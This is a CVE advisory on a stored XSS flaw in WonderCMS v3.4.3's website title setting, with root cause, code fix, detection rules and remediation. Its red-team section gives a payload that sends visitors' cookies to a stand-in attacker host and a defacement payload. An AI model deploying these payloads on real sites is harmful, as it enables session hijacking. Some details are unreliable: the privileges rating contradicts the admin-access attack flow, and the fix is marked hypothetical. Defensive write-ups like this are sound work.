CVE-2024-32340

Executive Summary

CVE-2024-32340 is a stored Cross-Site Scripting (XSS) vulnerability discovered in WonderCMS v3.4.3, specifically within the Settings section under the Menu module. An attacker can inject arbitrary web scripts or HTML into the WEBSITE TITLE parameter, which is then stored and executed in the context of the victim's browser when the settings page is viewed. This vulnerability requires user interaction (an admin visiting the settings page) but can lead to session hijacking, defacement, or redirection to malicious sites. As of this report, no official patch has been released, and the vendor's status remains unknown.

Supply Chain & Package Security

WonderCMS is a flat-file PHP CMS distributed via GitHub and its official website. The vulnerability exists in the core application code, not in a third-party package. However, administrators should verify the integrity of their installation by checking file hashes against the official repository. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need authentication to inject the payload.
• User Interaction (UI): Required (R) – The victim must visit the settings page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Content can be modified.
• Availability (A): None (N) – No direct impact on availability.

CVSS Score: 6.1 (Medium)

Threat Level: Medium – Exploitation is straightforward but requires user interaction. The impact is limited to the browser session of the admin.

Deep Dive & Mechanics

The vulnerability resides in the menu module's settings page, where the WEBSITE TITLE parameter is not properly sanitized before being stored and rendered. WonderCMS uses a flat-file database (JSON) to store configuration. When an admin submits the settings form, the value of WEBSITE TITLE is written directly to the configuration file without escaping or encoding.

Attack Flow:

1. An attacker with access to the admin panel (or via a CSRF attack) navigates to the Menu settings.
2. The attacker injects a malicious payload into the WEBSITE TITLE field, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the configuration file.
4. When any admin visits the settings page, the payload is rendered in the HTML without sanitization, executing the script in the browser.

Root Cause: Lack of output encoding in the template that renders the WEBSITE TITLE value. The PHP code likely uses echo $title; instead of echo htmlspecialchars($title, ENT_QUOTES, 'UTF-8');.

Vulnerable vs. Patched Code

Vulnerable Code (WonderCMS v3.4.3):

// In menu module settings view
<input type="text" name="WEBSITE_TITLE" value="<?php echo $settings['WEBSITE_TITLE']; ?>">

Patched Code (Hypothetical fix):

// Properly escape output
<input type="text" name="WEBSITE_TITLE" value="<?php echo htmlspecialchars($settings['WEBSITE_TITLE'], ENT_QUOTES, 'UTF-8'); ?>">

Explanation: The vulnerable code directly echoes the stored value without HTML entity encoding. The patched version uses htmlspecialchars() to convert special characters like <, >, ", and & into their HTML entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to the WonderCMS admin panel (e.g., via stolen credentials or CSRF).
• The victim must visit the settings page.

Exploit Steps:

1. Log in to the WonderCMS admin panel.
2. Navigate to Menu settings.
3. In the WEBSITE TITLE field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the settings.
5. Wait for an admin to visit the settings page. The script will execute and exfiltrate cookies.

Alternative Payload (Defacement):

<h1>Hacked by Attacker</h1><script>document.body.innerHTML='<h1>Site Defaced</h1>';</script>

No Exploit-DB code was provided.

Blue Team (Defensive)

Detection:

• Monitor admin panel access logs for unusual changes to the WEBSITE_TITLE field.
• Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to the menu settings endpoint.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for <script> tags in the configuration file (database.js or similar) stored in the WonderCMS data directory.
• Review HTTP requests to /admin/settings/menu for suspicious payloads.

Indicators of Compromise (IOCs)

• File-based IOC: Presence of <script> tags or HTML event handlers in the WEBSITE_TITLE value within the configuration file (e.g., data/config.json).
• Network IOC: Outbound HTTP requests to attacker-controlled domains from the admin browser.
• Log IOC: Unusual POST requests to /admin/settings/menu with encoded or suspicious payloads.

Detection Engineering

YARA Rule

rule CVE_2024_32340_XSS_WonderCMS {
    meta:
        description = "Detects stored XSS payload in WonderCMS configuration file"
        author = "Valters IT"
        date = "2024-05-20"
        reference = "CVE-2024-32340"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: WonderCMS Stored XSS via WEBSITE_TITLE
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential XSS payload in WEBSITE_TITLE parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin/settings/menu*'
        cs-body: '*WEBSITE_TITLE*'
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in title (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-32340 WonderCMS Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/settings/menu"; http_uri; content:"WEBSITE_TITLE"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately.
2. Manual Fix: Edit the vulnerable template file (likely menu.php or similar) and replace echo $settings['WEBSITE_TITLE']; with echo htmlspecialchars($settings['WEBSITE_TITLE'], ENT_QUOTES, 'UTF-8');.
3. Input Validation: Implement server-side validation to reject HTML tags in the WEBSITE_TITLE field.

Long-term Measures:

• Apply a Web Application Firewall (WAF) with XSS protection rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Conduct regular security audits of custom CMS installations.
• Monitor for updates from the WonderCMS project.

Workaround: Restrict access to the admin panel using IP whitelisting or VPN.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst